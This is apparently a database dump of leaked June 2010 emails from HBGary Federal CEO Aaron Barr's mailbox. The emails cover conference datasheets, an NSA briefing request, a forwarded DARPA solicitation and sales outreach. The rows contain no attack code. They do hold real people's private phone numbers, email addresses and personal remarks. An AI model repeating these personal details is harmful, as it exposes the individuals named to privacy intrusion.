brief\r\nAre you frying those things up or what? ...they&#39;re DELICIOUS on thegrill... fillet them up with the skin and scales left on -- do some withbutter, lemon, garlic, salt &amp; pepper... do some with BBQ sauce.\r\nAnyway --- got a biz need for you -- call when you get a chance.Have fun and tell the frau I said howdy!Later,\r\nScott-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Monday, June 14, 2010 2:45 PM\r\nTo: Chappell, Scott C Mr CIV USA SMDC ARSTRATSubject: NSA briefWe&#39;re briefing tomorrow at a conference held by NSA. We developed a toolthat can bleed out tool marks left in malware that can be used towards\r\nattribution of the source. Pretty cool, we&#39;re going to make it freelyavailable. Once it&#39;s released I can send you a copy.We&#39;re having a blast in FL. Matt has caught more mangrove snappers than\r\nI can count.Regards,Ted\r\n',4259,'aaron_hbgary_com/4259.html'),(7426,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005446.M317611P14101Q2282.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Datasheet','I am using it to set up service/product sales mtgs on my return from\r\nFIRST.\r\n\r\nAaron\r\n',13027,'aaron_hbgary_com/13027.html'),(7427,'2010-06-14','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005446.M606918P14101Q2283.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Final HBGary Federal Information Security Services Datasheet','Aaron,\r\n\r\nIdea...... Set up a job with Fedex Kinkos in Miami to print this flyer and\r\ndeliver to the hotel in Miami in my name.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 4:50 PM\r\nTo: Penny Leavy; Bob Slapnik; Maria Lucas; Ted Vera; Greg Hoglund; Matt\r\nO\'Flynn\r\nCc: Aaron Barr\r\nSubject: Final HBGary Federal Information Security Services Datasheet\r\n\r\n\r\n\r\nThis is what we will be taking with us to the FIRST conference this week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/14/10\r\n02:35:00\r\n\r\n',10603,'aaron_hbgary_com/10603.html'),(7428,'2010-06-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005446.M825974P14101Q2284.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Datasheet','I was talking with Rich and he thinks you should sub to some of the primes\r\nfor this.  With your clearances, it should be good.  They are already on\r\ncontracts so they will get service business if you don\'t\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 2:38 PM\r\nTo: Penny Leavy; Greg Hoglund; Ted Vera\r\nSubject: Datasheet\r\n\r\nI am using it to set up service/product sales mtgs on my return from\r\nFIRST.\r\n\r\nAaron\r\n\r\n',10417,'aaron_hbgary_com/10417.html'),(7429,'2010-06-14','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297005446.M90529P14101Q2281.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: DARPA Safer Broad Agency Announcement','Thanks Greg -- this came to us via one of our other partners (they don\'t do cyber) -- I just wanted to see if there was any interest.How are things going at ICE? &nbsp;A lot of folks are asking re how that enterprise deployment is going.Let me know,JohnOn Jun 12, 2010, at 9:17 PM, Greg Hoglund wrote:John,Aaron might be interested. &nbsp;We built a very robust message routing system into something called Predator back in 2002-ish. &nbsp;We shelved the project but it might be something. &nbsp;GregSent from my iPadOn Jun 11, 2010, at 1:58 PM, John Edwards &lt;John.Edwards@agilex.com&gt; wrote:Anything here of interest? &nbsp;Just checking.Begin forwarded message:From: Neal Smith &lt;smith@webloq.com&gt;Date: June 7, 2010 5:44:15 PM EDTTo: John Edwards &lt;John.Edwards@agilex.com&gt;Subject: DARPA Safer Broad Agency AnnouncementHi John,&nbsp;This BAA came to my attention last week. I have read through the entire announcement and believe we already have two out of the three elements that are mentioned in the introduction. The first element, preventing an IP address from being black listed, is a real challenge but we may be able to come up with a solution and could use that research project as the basis for the grant.&nbsp; The next two elements we already have in our technology. Under the grant, we could also expand into the other protocols, which is part of the BAA offering.&nbsp;Would Agilex be interested in working with us to attain this grant?&nbsp; I am sure that you have staff that have done projects similar to this and if they are available, we would have approximately 30 days to work on it prior to submittal. Please let me know if this would be of interest and then we can discuss how to proceed.&nbsp;SAFER WARFIGHTER COMMUNICATIONSBroad Agency AnnouncementDARPA-BAA-10-69May 20, 2010Due Date:&nbsp;&nbsp; July 7, 2010&nbsp;Here is the intro………&nbsp;Part Two: Full Text of AnnouncementI. FUNDING OPPORTUNITY DESCRIPTION&nbsp;DARPA is soliciting proposals for innovative research to maintain technological superiority in the area of resilient communications, privacy, and anonymity on the Internet. The proposed research should investigate innovative approaches that enable revolutionary advances in science, devices, or systems. Specifically excluded is research that primarily results in evolutionary improvements to the existing state of practice.&nbsp;IntroductionThe goal of the Safer Warfighter Communications (SAFER) program is to develop technology that will enable safe, resilient communications over the Internet, particularly in situations in which a third-party is attempting to discover the identity or location of the end users, or block the communication. The technology developed in the program will also provide the quality of service (QoS) required to support applications such as instant messaging, electronic mail, social networking, streaming video, voice over Internet protocol (VoIP), video conferencing, and other media that promote effective communication.&nbsp;The SAFER program addresses the resilience of information distribution and access on the Internet, including any and all technologies that allow anonymous Internet communications to bypass techniques that suppress, localize, and/or corrupt information such as:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Internet Protocol (IP)-address filtering or “blocking,” typically by blacklisting the IP addresses of websites or other services, possibly by the network operator, to deny the user access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Domain Naming Service (DNS) hijacking, redirecting a user to a different website or service from what the user intended, by supplying a false reply to the user’s domain name resolution request&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Content filtering that captures and analyzes the content of the user’s network traffic through deep packet inspection to check whether the traffic contains predefined signatures or sensitive keywords.&nbsp;Preparing such a proposal is likely beyond our current resources, so we need a partner and Agilex is the most likely candidate. They have the connections to turn up the real agenda behind this project, and could well be positioned to make their presence felt.&nbsp;The submittal date is July 7, so haven’t much time to get this together. &nbsp;&nbsp;http://www.darpa.mil/tcto/solicitations/BAA-10-69.html&nbsp;Best,&nbsp;Neal SmithPresident &amp; CEO&nbsp;&lt;image001.jpg&gt;2801 Monterey Highway, Suite H&nbsp;&nbsp;|&nbsp;&nbsp;Monterey, CA 93940p: (831) 372-2600&nbsp;&nbsp;|&nbsp;&nbsp;f: (831) 372-1600&nbsp;&nbsp;|&nbsp;&nbsp;c: (831) 809-4049email:&nbsp;smith@webloq.com&nbsp;–&nbsp;smith@webloq.private&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;www.webloq.com&nbsp;-&nbsp;www.loqmail.com&nbsp;&nbsp;',6977,'aaron_hbgary_com/6977.html'),(7430,'2010-06-14','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005447.M246933P14101Q2286.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Etue, David\" <david.etue@fidelissecurity.com>','RE: Datasheet','Looks good to me. What else do you need from me Aaron?  Can you send\r\nyour logo so I can put it up on our website?\r\n\r\nThanks!\r\nStacey\r\n \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 4:50 PM\r\nTo: Etue, David; Sweeney, Stacey\r\nSubject: Datasheet\r\n\r\n\r\n',6858,'aaron_hbgary_com/6858.html'),(7431,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005447.M36811P14101Q2285.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: Datasheet','Agreed.  I am starting to set discussions with primes for the week I get back.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 14, 2010, at 5:40 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> I was talking with Rich and he thinks you should sub to some of the primes\r\n> for this.  With your clearances, it should be good.  They are already on\r\n> contracts so they will get service business if you don\'t\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 14, 2010 2:38 PM\r\n> To: Penny Leavy; Greg Hoglund; Ted Vera\r\n> Subject: Datasheet\r\n>\r\n> I am using it to set up service/product sales mtgs on my return from\r\n> FIRST.\r\n>\r\n> Aaron\r\n>\r\n',11692,'aaron_hbgary_com/11692.html'),(7432,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005453.M505706P14101Q2287.eml','\"Aaron Barr\" <aaron@hbgary.com>','Datasheet','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11776,'aaron_hbgary_com/11776.html'),(7433,'2010-06-14','no-reply.ecommerce@fedex.com','/aaron@hbgary.com/new/1297005454.M130764P14101Q2288.eml','aaron@hbgary.com','FedEx Office Print Online order completion (GTN 1016186122343610)','## This is an automated response, please do not reply to this e-mail ##\r\n\r\nDear Aaron Barr,\r\n\r\nThank you for choosing FedEx Office. This e-mail confirms that we have completed your order and delivered it based on your instructions.\r\n\r\nIf you have questions concerning your order, please call the FedEx Office center\r\nproducing the order and ask for the Project Coordinator. You can reference\r\nyour order by Order number 1016186122343610.\r\n\r\nIf you have questions about this order or other comments or concerns\r\nregarding FedEx Office, please contact FedEx Office customer relations at\r\n1.800.GoFedEx (1.800.463.3339). You can reference your order by Order number 1016186122343610.\r\n\r\n\r\nAll jobs produced for customers will be retained for 30 days after the order ready by date on the receipt at which time you will be charged for the completed job if you have not picked up the order. FedEx Office is not responsible for retaining any work not picked up by customer after such 30 day period and is entitled to collect and retain payment for all work performed on the customer\'s behalf.   \r\n\r\nORDER -- SUMMARY DETAILS\r\n\r\nOrder GTN number:  1016186122343610\r\n\r\nOrder Price\r\nSubtotal:      $106.50 \r\nShipping:         $ -- \r\nTax:             $5.33 \r\nTotal:         $111.83 \r\n\r\nPayment by:  Credit Card\r\n\r\nSee order details for each recipient below\r\n\r\nORDER_DETAIL -- Part 1\r\n\r\nJob GTN number:  1013409034851115\r\n\r\n\r\nFedEx Office center producing order:\r\n  8365 LEESBURG PIKE\r\n  VIENNA, VA  22182\r\n  UNITED STATES \r\n  Phone: (703) 734-3204\r\n  E-mail: usa1821@fedex.com\r\n\r\nOrder Ready by Date:  Jun 14, 2010 at 08:00 PM EDT \r\nDocuments:\r\n	HBGFed_datasheet_final1.pdf (50)\r\n        HBGFed_datasheet_final1.pdf\r\n\r\nRecipient:  Barr, Aaron\r\n\r\nTo be picked up at FedEx Office center (see above)\r\n\r\nPrice:              $106.50 \r\nShipping Cost:         $ -- \r\nTax:                  $5.33 \r\n\r\n',10868,'aaron_hbgary_com/10868.html'),(7434,'2010-06-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005454.M499216P14101Q2289.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Mail program competes with safari','You know of a way I can make the ipads email app stop snarfing all my\r\nemail from google? I am currently having half of my email get\r\ndownloaded and deleted out from under me.\r\n\r\n-Greg\r\n',1193,'aaron_hbgary_com/1193.html'),(7435,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005478.M692389P14101Q2290.eml','\"Ted Vera\" <ted@hbgary.com>','Presentation so far','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4139,'aaron_hbgary_com/4139.html'),(7436,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005501.M602015P14101Q2291.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Mail program competes with safari','Let me check.  That doesn\'t happen to me, so there has to be a way to stop it, but when I look in mail settings it doesn\'t jump out at me.\r\n\r\nNearly complete presentation.\r\n\r\n',13552,'aaron_hbgary_com/13552.html'),(7437,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005504.M856256P14101Q2292.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Mail program competes with safari','This doesn\'t happen to me I don\'t think, you?Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: June 14, 2010 9:12:17 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;Subject: Mail program competes with safariYou know of a way I can make the ipads email app stop snarfing all myemail from google? I am currently having half of my email getdownloaded and deleted out from under me.-Greg\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3046,'aaron_hbgary_com/3046.html'),(7438,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005505.M130649P14101Q2293.eml','\"Ted Vera\" <ted@hbgary.com>','Brief','I think this is turning in to a good brief, but would like to get your input.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3974,'aaron_hbgary_com/3974.html'),(7439,'2010-06-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005505.M435528P14101Q2294.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Mail program competes with safari','Finally in Baltimore.  Fucking cab chick.\r\n\r\nGreg\r\n\r\nOn Monday, June 14, 2010, Aaron Barr  wrote:\r\n> Let me check.  That doesn\'t happen to me, so there has to be a way to stop it, but when I look in mail settings it doesn\'t jump out at me.\r\n>\r\n> Nearly complete presentation.\r\n>\r\n>\r\n',15864,'aaron_hbgary_com/15864.html'),(7440,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005505.M664581P14101Q2295.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Mail program competes with safari','Lol.  Leaves something to the imagination.  Get lost?  Maybe just slow?\r\n\r\nI am trying to work an uber graphic for the end.  Timeconsuming...ugh.\r\n\r\nOn Jun 14, 2010, at 10:04 PM, Greg Hoglund wrote:\r\n\r\n> Finally in Baltimore.  Fucking cab chick.\r\n> \r\n> Greg\r\n> \r\n> On Monday, June 14, 2010, Aaron Barr  wrote:\r\n>> Let me check.  That doesn\'t happen to me, so there has to be a way to stop it, but when I look in mail settings it doesn\'t jump out at me.\r\n>> \r\n>> Nearly complete presentation.\r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4320,'aaron_hbgary_com/4320.html'),(7441,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005508.M244350P14101Q2296.eml','\"Aaron Barr\" <adbarr@mac.com>','','',10939,'aaron_hbgary_com/10939.html'),(7442,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005510.M240036P14101Q2297.eml','\"Aaron Barr\" <adbarr@mac.com>','','',15275,'aaron_hbgary_com/15275.html'),(7443,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005530.M850848P14101Q2298.eml','\"Aaron Barr\" <adbarr@mac.com>','Presentation','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15971,'aaron_hbgary_com/15971.html'),(7444,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005551.M118596P14101Q2299.eml','\"Liddy, Corinne C\" <ccliddy@nsa.gov>','Re: ReBl Briefs Needed ASAP','Presentation.\r\n\r\nI will bring a copy on disk, but just in case.\r\n\r\n\r\n\r\nOn Jun 14, 2010, at 10:30 AM, Liddy, Corinne C wrote:\r\n\r\n> All-\r\n>  \r\n> As of 1000 on 14 June 2010, no member of the ReBl planning committee has a soft copy of your brief.  Please let those in the CC’ed line know whether you will be bringing a copy of your brief on CD (that will not be returned to you) or if you will be forwarding us the brief.  This needs to be done as soon as possible.\r\n>  \r\n> We look forward to hearing your brief this week. \r\n>  \r\n> R,\r\n> Corinne\r\n>  \r\n> _______________________________________________________________________________\r\n> Corinne Liddy\r\n> Red/Blue Team Planner\r\n> ccliddy@nsa.gov ***ccliddy@nsa.smil.mil***ccliddy@nsa.ic.gov\r\n> 410.854.8964\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11450,'aaron_hbgary_com/11450.html'),(7445,'2010-06-15','\"Nicole Kaboli\" <nicole@executivebiz.com>','/aaron@hbgary.com/new/1297005554.M190180P14101Q2300.eml','','Confirmed - Dinner Tonight - Group 11','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\n4x24 Member;\r\n\r\n&nbsp;\r\n\r\nWe\r\nhave you as confirmed to attend the ExecutiveBiz 4x24 Dinner taking place this\r\nevening and are looking forward to seeing you!\r\n\r\n&nbsp;\r\n\r\nA\r\nreminder of the following:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVenue:\r\n2941 Restaurant, 2941 Fairview Park Drive, Falls Church, VA 22102\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNetworking\r\nwill occur from 5:30pm with dinner commencing at 6:30pm.&nbsp; &nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYour\r\nspecial guest speaker is Mr. William Crowell.\r\n\r\n&nbsp;\r\n\r\nIf\r\nyou are unable to attend, please let me know as soon as possible.\r\n\r\n&nbsp;\r\n\r\nOn\r\nTuesday evening, if you need to reach someone from ExecutiveBiz (after 4pm),\r\nplease call JD Kathuria directly on his cell phone (703-863-4274)\r\nor via email at jd@executivebiz.com.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou so much and I hope you have an enjoyable dinner!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNicole\r\n Kaboli\r\n\r\nExecutiveBiz\r\nand Executive Mosaic\r\n\r\n8230\r\n  Old Courthouse Road, Suite 460\r\n\r\nVienna,\r\n VA 22182 \r\n\r\nPhone:\r\n703-226-7006\r\n\r\nFax:\r\n703-752-7454 \r\n\r\n&nbsp;\r\n\r\nP Please consider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7241,'aaron_hbgary_com/7241.html'),(7446,'2010-06-15','\"Jeff McCartney\" <jeffmac710@gmail.com>','/aaron@hbgary.com/new/1297005554.M577564P14101Q2301.eml','\"Aaron Barr\" <aaron@hbgary.com>','Letters of recommendation','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nJeff McCartney has sent you a message.\r\n\r\n\r\n  Date:\r\n  6/15/2010\r\n\r\n\r\n  Subject:\r\n  Letters of recommendation\r\n\r\n\r\n\r\n  If you could do the \"Recommends\" feature of this website I would greatly appreciated it.\r\n\r\n\r\n\r\nThanks\r\n\r\nJeff\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',10666,'aaron_hbgary_com/10666.html'),(7447,'2010-06-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005554.M807986P14101Q2302.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Meeting request','Hi Ira. I was on the call for 12 mins and nobody else dialed in. I\r\nwould have waited longer but the elevator music was unbearable, lol.\r\nLet me know if the call is rescheduled.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Jun 14, 2010, at 10:40 PM, Ira Entis  wrote:\r\n\r\n> Ted -- please confirm that you get my invite (just sent)\r\n>\r\n>\r\n> On Jun 14, 2010, at 4:54 PM, Ted Vera wrote:\r\n>\r\n> Hi Ira, can you please send me an updated meeting request with the\r\n> dial in instructions. My cell is 7192378623.\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n',13466,'aaron_hbgary_com/13466.html'),(7448,'2010-06-15','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005555.M113022P14101Q2303.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Meeting request','1:30 eastern (11:30 mountain)\r\n\r\n\r\nOn Jun 15, 2010, at 11:42 AM, Ted Vera wrote:\r\n\r\nHi Ira. I was on the call for 12 mins and nobody else dialed in. I\r\nwould have waited longer but the elevator music was unbearable, lol.\r\nLet me know if the call is rescheduled.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Jun 14, 2010, at 10:40 PM, Ira Entis  wrote:\r\n\r\n> Ted -- please confirm that you get my invite (just sent)\r\n> \r\n> \r\n> On Jun 14, 2010, at 4:54 PM, Ted Vera wrote:\r\n> \r\n> Hi Ira, can you please send me an updated meeting request with the\r\n> dial in instructions. My cell is 7192378623.\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n\r\n',8830,'aaron_hbgary_com/8830.html'),(7449,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005558.M388510P14101Q2304.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>,,,','HBGary Federal Services','Eric,\r\n\r\nAttached is our new offering which combines HBGary and partner\r\ntechnologies to improve incident response, threat intelligence, and\r\ninformation operations.  We will be down at the FIRST conference this\r\nweek.  If you have some availability in the next few weeks I would\r\nlike to come in and discuss this offering with you as well as HBGarys\r\nActive Defense enterprise malware detection and Threat Management\r\nCenter volume malware processor.\r\n\r\nAaron\r\n',7246,'aaron_hbgary_com/7246.html'),(7450,'2010-06-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005561.M454252P14101Q2305.eml','\"Paul Nimirovsky\" <pauln@jdn-int.com>','Something to read','Hi Paul,\r\n\r\nBefore our meeting I would be interested to receive your thoughts on\r\nsome of our new offerings as represented in the attached data sheet.\r\nAaron\r\n',14007,'aaron_hbgary_com/14007.html'),(7451,'2010-06-15','jim@hbgary.com','/aaron@hbgary.com/new/1297005561.M948616P14101Q2306.eml','aaron@hbgary.com','Active Defense 1.0 User Guide.pdf','\r\n\r\nI\'ve shared Active Defense 1.0 User Guide.pdf\r\nMessage from jim@hbgary.com:\r\nActive Defense User Guide\r\nClick to open:\r\nActive Defense 1.0 User Guide.pdf\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',2302,'aaron_hbgary_com/2302.html'),(7452,'2010-06-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005562.M158283P14101Q2307.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','You should look at these guys, they are in CO','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.virtualarmor.com/customers/\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3537,'aaron_hbgary_com/3537.html'),(7453,'2010-06-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297005562.M384028P14101Q2308.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GFirst Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello to all,\r\n\r\n&nbsp;\r\n\r\nI finally received the show information.&nbsp; Please beware\r\nof all this information for your &nbsp;flights and hotel.&nbsp; Contact me if\r\nyou need flight arrangements &nbsp;or email me with your &nbsp;fight information.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSHOW SCHEDULE\r\n\r\n&nbsp;\r\n\r\nEXHIBITOR MOVE-IN\r\n\r\n&nbsp;\r\n\r\nFor\r\nmore information and helpful hints on pre-show procedures and move-in, please\r\ngo to\r\n\r\nwww.freemanco.com/preshowFAQ\r\n\r\n&nbsp;\r\n\r\nMonday August 16, 2010 12:00 PM - 5:00 PM\r\n\r\nTuesday August 17, 2010 8:00 AM - 12:00 PM\r\n\r\n&nbsp;\r\n\r\nEXHIBIT HOURS\r\n\r\n&nbsp;\r\n\r\nTuesday August 17, 2010 5:00 PM - 7:00 PM\r\n\r\nWednesday August 18, 2010 10:00 AM - 5:00 PM\r\n\r\nThursday August 19, 2010 10:00 AM - 4:00 PM\r\n\r\n&nbsp;\r\n\r\nEXHIBITOR MOVE-OUT\r\n\r\n&nbsp;\r\n\r\nFor\r\nmore information and helpful hints on post-show procedures and move-out, please\r\ngo to\r\n\r\nwww.freemanco.com/postshowFAQ\r\n\r\n&nbsp;\r\n\r\nThursday August 19, 2010 4:00 PM - 7:00 PM\r\n\r\n&nbsp;\r\n\r\nWe will begin returning empty containers at the close of the\r\nshow.\r\n\r\nDISMANTLE AND MOVE-OUT INFORMATION\r\n\r\nAll\r\nexhibitor materials must be removed from the exhibit facility by Thursday,\r\nAugust 19, 2010 at\r\n\r\n7:00\r\nPM.\r\n\r\nTo\r\nensure all exhibitor materials are removed from the exhibit facility by the\r\nExhibitor Move-Out\r\n\r\ndeadline, please have all\r\ncarriers check-in by Thursday, August 19, 2010 at 6:00 PM.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',376,'aaron_hbgary_com/376.html'),(7454,'2010-06-15','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297005562.M621408P14101Q2309.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','Re: IT-Harvest:  white paper on Advanced Persistent Threat','Hi Bob, any word from Penny regarding this white paper?&nbsp; BTW, Richard Stiennon is writing a sequel to his Surviving Cyber Warfar\r\n(just released and available on Amazon) and it will be called Cyber\r\nDefense.&nbsp; Partial sponsorships are available....any interest in\r\nreviewing the prospectus and the marketing benefits from participation?&nbsp;Kindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315   Pre-order Surviving Cyber War on Amazon! Richard Stiennon Biography   Richard Stiennon, security expert and analyst, is known for shaking up the industry and\r\n providing actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware.   &nbsp;  Before Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in Networking\" by NetworkWorld Magazine. 